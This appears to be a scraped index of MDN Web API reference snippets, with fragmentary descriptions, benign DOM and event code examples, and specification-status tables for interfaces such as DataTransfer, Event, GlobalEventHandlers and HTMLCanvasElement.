specifications specification status comment domthe definition of 'attr' in that specification.
... living standard added ownerelement property back dom4the definition of 'attr' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'attr' in that specification.
... obsolete initial definition ...
CSS - Web APIs
WebAPICSS
css.em(3) // cssunitvalue {value: 3, unit: "em"} specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
... css object model (cssom)the definition of 'css' in that specification.
... css conditional rules module level 3the definition of 'css' in that specification.
... candidate recommendation initial definition ...
CloseEvent - Web APIs
the following definitions are sourced from the iana website [ref].
... closeevent.initcloseevent() initializes the value of a closeevent created.
... specifications specification status comment html living standardthe definition of 'closeevent' in that specification.
... living standard initial definition.
ContentIndexEvent() - Web APIs
syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred.
... eventinitdict optional an options object containing any initialization data you want to populate the contentindexevent object with.
... var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
... unknown initial definition.
CredentialsContainer.create() - Web APIs
name: optional usvstring tbd iconurl: optional usvstring tbd password: (required) usvstring tbd federated: optional an federatedcredentialinit object.
... specifications specification status comment credential management level 1the definition of 'get()' in that specification.
... working draft initial definition.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CustomEvent.detail - Web APIs
the detail readonly property of the customevent interface returns any data passed when initializing the event.
... syntax let mydetail = customeventinstance.detail; return value whatever data the event was initialized with.
...vent listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
... living standard initial definition.
DOMHighResTimeStamp - Web APIs
specifications specification status comment high resolution time level 2the definition of 'domhighrestimestamp' in that specification.
... recommendation stricter definitions of interfaces and types.
... high resolution timethe definition of 'domhighrestimestamp' in that specification.
... recommendation initial definition.
DOMImplementation.createDocument() - Web APIs
example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); body.setattribute('id', 'abc'); doc.documentelement.appendchild(body); alert(doc.getelementbyid('abc')); // [object htmlbodyelement] specifications specification status comment domthe definition of 'domimplementation.createdocument' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocument' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocument' in that specification.
... obsolete initial definition.
DOMImplementation.createDocumentType() - Web APIs
example var dt = document.implementation.createdocumenttype('svg:svg', '-//w3c//dtd svg 1.1//en', 'http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd'); var d = document.implementation.createdocument('http://www.w3.org/2000/svg', 'svg:svg', dt); alert(d.doctype.publicid); // -//w3c//dtd svg 1.1//en specifications specification status comment domthe definition of 'domimplementation.createdocumenttype' in that specification.
... living standard no change from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete initial definition.
DOMMatrix - Web APIs
WebAPIDOMMatrix
is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix.
... frommatrix() creates a new mutable dommatrix object given an existing matrix or a dommatrixinit dictionary which provides the values for its properties.
... specifications specification status comment geometry interfaces module level 1the definition of 'dommatrix' in that specification.
... candidate recommendation initial definition ...
DOMPoint.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly.
... syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
... var center = dompoint.frompoint({x: 75, y: -50, z: -55, w: 0.25}); specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly.
... syntax const point = dompointreadonly.frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
... const origpoint = new dompoint(25, 25, 100, 0.5) const newpoint = dompointreadonly.frompoint(origpoint) specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.toJSON() - Web APIs
the dompointreadonly method tojson() returns a dompointinit object giving the json form of the point object.
... return value a new dompointinit object whose properties are set to the values in the dompoint or dompointreadonly on which the method was called.
... var topleft = new dompoint(window.screenx, window.screeny); var pointjson = topleft.tojson(); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.tojson()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly - Web APIs
to create a point using adompointinit object, you can instead use dompointreadonly.frompoint().
... static methods dompointreadonly.frompoint() a static method that creates a new dompointreadonly object given the coordinates provided in the specified dompointinit object.
... methods matrixtransform() applies a matrix transform specified as a dommatrixinit object to the dompointreadonly object.
... specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
DataTransfer.clearData() - Web APIs
</span> <span class="tweaked" id="target">drop zone</span> <div>status: <span id="status">drag to start</span></div> <div>data is: <span id="data">uninitialized</span></div> css span.tweaked { display: inline-block; margin: 1em 0; padding: 1em 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript window.addeventlistener('domcontentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('targe...
...mentbyid(_data); // append drag source element to event's target element event.target.appendchild(element); // change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html living standardthe definition of 'datatransfer.cleardata()' in that specification.
... living standard html 5.1the definition of 'datatransfer.cleardata()' in that specification.
... recommendation initial definition ...
DataTransfer.dropEffect - Web APIs
for the dragenter and dragover events, dropeffect will be initialized based on what action the user is requesting.
...ppendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } specifications specification status comment html living standardthe definition of 'dropeffect' in that specification.
... living standard html 5.1the definition of 'dropeffect' in that specification.
... recommendation initial definition ...
DataTransfer.effectAllowed - Web APIs
uninitialized the default value when the effect has not been set, equivalent to all.
...d="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'effectallowed' in that specification.
... living standard html 5.1the definition of 'effectallowed' in that specification.
... recommendation initial definition ...
DataTransfer - Web APIs
must be one of none, copy, copylink, copymove, link, linkmove, move, all or uninitialized.
... datatransfer.mozsourcenode read only the node over which the mouse cursor was located when the button was pressed to initiate the drag operation.
... specifications specification status comment html living standardthe definition of 'datatransfer' in that specification.
... html 5.1the definition of 'datatransfer' in that specification.
Document.createElementNS() - Web APIs
the namespaceuri property of the created element is initialized with the value of namespaceuri.
...the nodename property of the created element is initialized with the value of qualifiedname.
...although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the docu...
... specifications specification status comment domthe definition of 'document.createelementns()' in that specification.
Document.createEvent() - Web APIs
many methods used with createevent, such as initcustomevent, are deprecated.
...the returned object should be first initialized and can then be passed to eventtarget.dispatchevent.
...event.initevent('build', true, true); // listen for the event.
... event module standard event object gecko also supports text event module textevent textevents keyboard event module keyboardevent keyevents basic events module event events specifications specification status comment domthe definition of 'document.createevent' in that specification.
Document.getElementById() - Web APIs
specification specification status comment document object model (dom) level 1 specificationthe definition of 'getelementbyid' in that specification.
... obsolete initial definition for the interface document object model (dom) level 2 core specificationthe definition of 'getelementbyid' in that specification.
... obsolete supersede dom 1 document object model (dom) level 3 core specificationthe definition of 'getelementbyid' in that specification.
... obsolete supersede dom 2 domthe definition of 'getelementbyid' in that specification.
Document.head - Web APIs
WebAPIDocumenthead
specifications specification status comment html 5.1the definition of 'document.head' in that specification.
... recommendation html5the definition of 'document.head' in that specification.
... recommendation html living standardthe definition of 'document.head' in that specification.
... living standard initial definition.
DragEvent - Web APIs
WebAPIDragEvent
the user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another dom element).
... specifications specification status comment html living standardthe definition of 'dragevent' in that specification.
... living standard html 5.1the definition of 'dragevent' in that specification.
... recommendation initial definition ...
Element.className - Web APIs
WebAPIElementclassName
specifications specification status comment domthe definition of 'element.classname' in that specification.
... living standard dom4the definition of 'element.classname' in that specification.
... obsolete document object model (dom) level 2 html specificationthe definition of 'element.classname' in that specification.
... obsolete initial definition ...
Element.computedStyleMap() - Web APIs
examples we start with some simple html: a paragraph with a link, and a definition list to which we will add all the css property / value pairs.
... <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap().
... specifications specification status comment css typed om level 1the definition of 'computedstylemap()' in that specification.
... working draft initial definition.
Element.getAttributeNS() - Web APIs
ods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element.getattributens()' in that specification.
... living standard document object model (dom) level 3 core specificationthe definition of 'element.getattributens()' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'element.getattributens()' in that specification.
... obsolete initial definition ...
Element.getElementsByTagNameNS() - Web APIs
var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'element.getelementsbytagnamens()' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'element.getelementsbytagnamens()' in that specification.
... obsolete initial definition ...
Element.hasAttribute() - Web APIs
methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element.hasattribute()' in that specification.
... living standard from document object model (dom) level 3 core specification, moved from node to element document object model (dom) level 3 core specificationthe definition of 'element.hasattribute()' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.hasattribute()' in that specification.
... obsolete initial definition.
Element.hasAttributes() - Web APIs
examples let foo = document.getelementbyid('foo'); if (foo.hasattributes()) { // do something with 'foo.attributes' } polyfill ;(function(prototype) { prototype.hasattributes = prototype.hasattributes || function() { return (this.attributes.length > 0); } })(element.prototype); specifications specification status comment domthe definition of 'element.hasattributes()' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'hasattributes()' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'hasattributes()' in that specification.
... obsolete initial definition, on the node interface.
Element.id - Web APIs
WebAPIElementid
specifications specification status comment domthe definition of 'id' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'id' in that specification.
... document object model (dom) level 1 specificationthe definition of 'id' in that specification.
... obsolete initial definition.
Element.querySelector() - Web APIs
the entire hierarchy of elements is considered when matching, including those outside the set of elements including baseelement and its descendants; in other words, selectors is first applied to the whole document, not the baseelement, to generate an initial list of potential elements.
... specifications specification status comment domthe definition of 'queryselector()' in that specification.
... living standard selectors api level 2the definition of 'queryselectorall()' in that specification.
... obsolete selectors api level 1the definition of 'queryselectorall()' in that specification.
Event() - Web APIs
WebAPIEventEvent
syntax new event(typearg[, eventinit]); values typearg this is a domstring representing the name of the event.
... eventinit optional this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles.
... example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
... living standard initial definition ...
Event.cancelable - Web APIs
WebAPIEventcancelable
console.warn(`the following event couldn't be canceled:`); console.dir(event); } } document.addeventlistener('wheel', preventscrollwheel); notes whether an event can be canceled or not is something that's determined when that event is initialized.
... specifications specification status comment domthe definition of 'event.cancelable' in that specification.
... living standard document object model (dom) level 2 events specificationthe definition of 'event.cancelable' in that specification.
... obsolete initial definition.
Event.eventPhase - Web APIs
WebAPIEventeventPhase
"#f6eedb" : "#cceeff" } } divinfo.innerhtml = '' } result specifications specification status comment domthe definition of 'event.eventphase' in that specification.
... living standard dom4the definition of 'event.eventphase' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'event.eventphase' in that specification.
... obsolete initial definition ...
Event.stopPropagation() - Web APIs
specifications specification status comment domthe definition of 'event.stoppropagation()' in that specification.
... living standard dom4the definition of 'event.stoppropagation()' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'event.stoppropagation()' in that specification.
... obsolete initial definition ...
Event.target - Web APIs
WebAPIEventtarget
{ // e.target refers to the clicked <li> element // this is different than e.currenttarget, which would refer to the parent <ul> in this context evt.target.style.visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlistener('click', hide, false); specifications specification status comment domthe definition of 'event.target' in that specification.
... living standard dom4the definition of 'event.target' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'event.target' in that specification.
... obsolete initial definition ...
EventTarget.removeEventListener() - Web APIs
body.style.backgroundcolor = 'yellow'; } toggle = !toggle; } clicktarget.addeventlistener('click', makebackgroundyellow, false ); mouseovertarget.addeventlistener('mouseover', function () { clicktarget.removeeventlistener('click', makebackgroundyellow, false ); }); specifications specification status comment domthe definition of 'eventtarget.removeeventlistener()' in that specification.
... living standard dom4the definition of 'eventtarget.removeeventlistener()' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'eventtarget.removeeventlistener()' in that specification.
... obsolete initial definition ...
EventTarget - Web APIs
return; } } }; eventtarget.prototype.dispatchevent = function(event) { if (!(event.type in this.listeners)) { return true; } var stack = this.listeners[event.type].slice(); for (var i = 0, l = stack.length; i < l; i++) { stack[i].call(this, event); } return !event.defaultprevented; }; specifications specification status comment domthe definition of 'eventtarget' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'eventtarget' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'eventtarget' in that specification.
... obsolete initial definition.
ExtendableEvent() - Web APIs
syntax var extendableevent = new extendableevent(type, init); parameters type the type of the extendableevent, for example install, activate.
... init optional an options object containing any custom settings that you want to apply to the event object.
... specifications specification status comment service workersthe definition of 'extendableevent' in that specification.
... working draft initial definition.
ExtendableMessageEvent() - Web APIs
syntax var extendablemessageevent = new extendablemessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
... init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification.
... working draft initial definition.
FetchEvent() - Web APIs
syntax var fetchevent = new fetchevent(type, init); parameters type a domstring object specifying which event the object represents.
... init optional an object conforming to the fetcheventinit dictionary, containing options to apply to the event object.
... specifications specification status comment service workersthe definition of 'fetchevent() constructor' in that specification.
... working draft initial definition.
FileReader.result - Web APIs
WebAPIFileReaderresult
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
... syntax var file = instanceoffilereader.result value an appropiate string or arraybuffer based on which of the reading methods was used to initiate the read operation.
... var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
... working draft initial definition ...
FormDataEvent() - Web APIs
syntax new formdataevent(type[, formeventinit]); values type a domstring representing the name of the event.
... formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles.
... examples let fd = new formdata(); fd.append('test', 'test'); let fdev = new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
... living standard initial definition ...
GlobalEventHandlers.ondragend - Web APIs
var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</co...
...d="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragend' in that specification.
... living standard html 5.1the definition of 'ondragend' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragenter - Web APIs
var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</co...
...d="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragenter' in that specification.
... living standard html 5.1the definition of 'ondragenter' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragexit - Web APIs
var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</co...
...="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragexit' in that specification.
... living standard html 5.1the definition of 'ondragexit' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragleave - Web APIs
var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's background color back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</co...
...="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragleave' in that specification.
... living standard html 5.1the definition of 'ondragleave' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.onpointercancel - Web APIs
<html> <script> function cancelhandler(ev) { // process the pointercancel event } function init() { var el = document.getelementbyid('target1'); el.onpointercancel = cancelhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointercancel' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointercancel' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerdown - Web APIs
the globaleventhandlers event handler onpointerdown is used to specify the event handler for the pointerdown event, which is fired when the pointing device is initially pressed.
... specifications specification status comment pointer events – level 2the definition of 'onpointerdown' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerdown' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerenter - Web APIs
<html> <script> function enterhandler(ev) { // process the pointerenter event } function init() { let el = document.getelementbyid('target1'); el.onpointerenter = enterhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerenter' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerenter' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerleave - Web APIs
<html> <script> function leavehandler(ev) { // process the pointerleave event } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... specifications specification status comment pointer events – level 2the definition of 'onpointerleave' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerleave' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointermove - Web APIs
<html> <script> function movehandler(ev) { // process the pointermove event } function init() { let el=document.getelementbyid('target1'); el.onpointermove = movehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointermove' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointermove' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerout - Web APIs
<html> <script> function outhandler(ev) { // process the pointerout event } function init() { let el=document.getelementbyid('target1'); el.onpointerout = outhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerout' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerout' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerover - Web APIs
<html> <script> function overhandler(ev) { // process the pointerover event } function init() { let el = document.getelementbyid('target1'); el.onpointerover = overhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerover' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerover' in that specification.
... obsolete initial definition ...
GlobalEventHandlers.onpointerup - Web APIs
<html> <script> function uphandler(ev) { // process the pointerup event } function init() { let el = document.getelementbyid('target1'); el.onpointerup = uphandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
...</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerup' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerup' in that specification.
... obsolete initial definition ...
HTMLAnchorElement.rel - Web APIs
syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
... obsolete initial definition.
HTMLCanvasElement.getContext() - Web APIs
specifications specification status comment html living standardthe definition of 'htmlcanvaselement.getcontext' in that specification.
... living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.getcontext' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.getcontext' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.height - Web APIs
syntax var pxl = canvas.height; canvas.height = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.height' in that specification.
... living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.height' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.height' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.toBlob() - Web APIs
console.log('successfully wrote file'); }, function() { console.log('failure writing file') } ); }; r.readasarraybuffer(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.toblob' in that specification.
... living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.toblob' in that specification.
... recommendation no change html5the definition of 'htmlcanvaselement.toblob' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.toDataURL() - Web APIs
0, 0); ograyimg = new image(); ograyimg.src = ocanvas.todataurl(); ograyimg.onmouseover = showcolorimg; ocolorimg.onmouseout = showgrayimg; octx.clearrect(0, 0, nwidth, nheight); ocolorimg.style.display = "none"; ocolorimg.parentnode.insertbefore(ograyimg, ocolorimg); } } specifications specification status comment html living standardthe definition of 'htmlcanvaselement.todataurl' in that specification.
... living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.todataurl' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.todataurl' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.width - Web APIs
syntax var pxl = canvas.width; canvas.width = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.width' in that specification.
... living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.width' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.width' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement - Web APIs
htmlcanvaselement.mozprintcallback is a function that is initially null.
... specifications specification status comment html living standardthe definition of 'htmlcanvaselement' in that specification.
... living standard primary definition of htmlcanvaselement.
... media capture from dom elementsthe definition of 'htmlcanvaselement' in that specification.
HTMLDocument - Web APIs
specifications html living standardthe definition of 'htmldocument' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmldocument' in that specification.
... obsolete supersedes dom 1 document object model (dom) level 1 specificationthe definition of 'htmldocument' in that specification.
... obsolete initial definition ...
accessKeyLabel - Web APIs
accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
... living standard no change from initial definition.
... html5the definition of 'htmlelement.accesskeylabel' in that specification.
... recommendation snapshot of html living standard, initial definition.
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
example var parg = document.getelementbyid("para1"); parg.dir = "rtl"; // change the text direction on a paragraph identified as "para1" specifications specification status comment html living standardthe definition of 'dir' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'dir' in that specification.
... document object model (dom) level 1 specificationthe definition of 'dir' in that specification.
... obsolete initial definition.
HTMLElement.isContentEditable - Web APIs
</p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').iscontenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status comment html living standardthe definition of 'htmlelement.contenteditable' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, initial definition.
HTMLElement.title - Web APIs
WebAPIHTMLElementtitle
syntax var str = element.title; element.title = str; example const link = document.createelement('a'); link.innertext = 'grapes'; link.href = 'https://en.wikipedia.org/wiki/grape'; link.title = 'wikipedia page on grapes'; specifications specification status comment html living standardthe definition of 'title' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'title' in that specification.
... document object model (dom) level 1 specificationthe definition of 'title' in that specification.
... obsolete initial definition.
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
